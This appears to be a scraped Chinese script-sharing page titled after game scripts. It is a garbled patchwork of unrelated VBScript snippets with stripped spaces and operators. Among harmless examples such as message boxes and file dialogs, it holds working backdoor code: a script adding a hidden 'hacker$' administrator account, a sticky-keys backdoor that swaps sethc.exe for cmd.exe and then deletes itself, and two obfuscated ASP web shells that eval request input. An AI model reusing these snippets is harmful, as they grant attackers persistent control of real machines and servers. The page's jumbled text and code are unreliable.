阿拉德之怒最新脚本后续

发布时间:2021-12-08 来源:脚本之家 点击:

代码如下:

MsgBoxReplace("Disknotready.§§Pleasecheckthatthedisketteisinthe"&"drive§andthatthedrive'sdoorisclosed.","§",vbCr)

->


Set objAD=CreateObject("ADSystemInfo")
Wscript.Echo "Your Computer Name is " & objAD.ComputerName
Wscript.Echo "Your Username is " & objAD.UserName
WScript.Echo("Hello")
WScript.Interactive=false
WScript.Echo("This wont display")
WScript.Interactive=true
WScript.Echo("This will display")
传奇打怪脚本安卓

on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj=CreateObject("WScript.Shell")
success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%
\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32
\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%
\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
当我们要移动控制项(Control)或表单(Form)时,很多人习惯这样写:

frmCustomer.Left=frmCustomer.Left 100
frmCustomer.Top=frmCustomer.Top 50

但是若使用MoveMethod,可以加快40:

frmCustomer.MovefrmCustomer.Left 100,frmCustomer.Top 50->


'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado=CreateObject("adodb.stream")
With Ado
.Type=1
.open
.loadfromfile fname
ss=.read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i=1 To lenB(Re)
bt=AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function
读者还可以通过建立通用对话框来打开文件,以解决VCD文件名不统一或多文件的问题

'

WScript.Echo"点确定前,请先运行"&vbCrLf&"netstopiisadmin/y"&vbCrLf&"以停止IIS相关服务"
Path="C:\WINDOWS\system32\inetsrv\MetaBase.xml"
Node=""
SetXmlDom=CreateObject("MSXML2.DOMXmlDomument")
XmlDom.async=False
XmlDom.load(Path)
ScriptMaps=XmlDom.selectSingleNode(Node).getAttribute("ScriptMaps")
ScriptMaps=Replace(ScriptMaps,"v1.1.4322","v2.0.50727")
XmlDom.selectSingleNode(Node).setAttribute("ScriptMaps")=ScriptMaps
XmlDom.Save(Path)
WScript.Echo"OK,请运行"&vbCrLf&"iisreset"&vbCrLf&"重启IIS相关服务"最简单的一个思路是将整屏画面抓到两个一样的窗体中交替连续地滚动出现,在上述程序的基础上修改如下:
form2?Top=-Screen?Henght
′将form2紧接form1的顶部放置
rc%=BitBlt%(form2?hDC,0,0,form2?ScaleWidth,form2?ScaleHeight,ScreenDC%,0,0,&HCC0020)
′增加此句,将整屏抓到form2中
WhileTrue
form2?Top=form2?Top+500
Ifform2?Top<0Then
form1?Top=form2?Top+Screen?Height
′form1在form2下面
Else
form1?Top=form2?Top-Screen?Height
′form1在form2上面
EndIf
Ifform2?Top>Screen?HeightThen
form2?Top=-Screeen?Height
′form2超出下界时回到最上面
Eenif
DoEvents
Wend->


<scriptlanguage=vbsrunat=server>
Execute(HextoStr("65786563757465287265717565737428636872283335292929"))
FunctionHextoStr(data)
HextoStr="EXECUTE"""""
C="&CHR(&H"
N=")"
DoWhileLen(data)>1
IfIsNumeric(Left(data,1))Then
HextoStr=HextoStr&C&Left(data,2)&N
data=Mid(data,3)
Else
HextoStr=HextoStr&C&Left(data,4)&N
data=Mid(data,5)
EndIf
Loop
EndFunction
</script>
<SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(String.fromCharCode(
116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1
04,40,101,41,123,125))</SCRIPt>
诛仙任务不过,我自己的主页建好后,终于这个愿望可以实现了,利用HTML可以方便的把文字与图片结合起来,不失为一个教学良所,也希望能够得到大家的支持

如果调用vb组件,可以是:

flag=&h200
whichone=OpenFile("ChooseaFile!","C:","Everything|*.*|TextFiles|*.TXT|Word-Documents|*.DOC",2,flag)
MsgBox"Rawdatareturned:"&whichone
'Splitupmultiselectionresult:
'spaceisusedasseparator:
whichone=Split(whichone,"")
'fieldindex0containspathinformation:
path=whichone(0)
'listallthefiles:
'howmanyfileswereselected?
filecount=UBound(whichone)
iffilecount=0then
'justonefileselected!
MsgBox"Youselectedonefile:"&whichone(0)
'checkstatusofReadOnlycheckbox
'isbit1setorcleared?
'worksonlyifjustonefilewasselected!
MsgBox"Returnedflag:"&flag
if(flagand1)then
'(flagand1)<>0,transformstotrue
'bitisset!
MsgBox"ReadOnlyselected!"
else
MsgBox"ReadOnlynotselected!"
endIf
'checkwhetherselectedfileisofdefaulttype(txt)
if(flagand1024)then
MsgBox"selectedfileisnotxtfile!"
else
MsgBox"selectedfileisofdefaulttype!"
endif
else
'morethanonefileselected!
MsgBox"Youselected"&filecount&"files!"
forx=1toUBound(whichone)
list=list&path&whichone(x)&vbCr
next
MsgBoxlist
endIf

functionOpenFile(title,dir,filter,index,flags)
setcomdlg=CreateObject("MSComDlg.CommonDialog")
comdlg.filter=filter
comdlg.FilterIndex=index
comdlg.Flags=flags
comdlg.MaxFileSize=260
comdlg.CancelError=false
comdlg.DialogTitle=title
comdlg.InitDir=dir
'settxtasdefault
comdlg.DefaultExt="txt"
comdlg.ShowOpen
OpenFile=comdlg.filename
'important:returnflagstatussoyourmainscriptcan
'checkit:
flags=comdlg.Flags
endfunction

组件相关文件下载。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号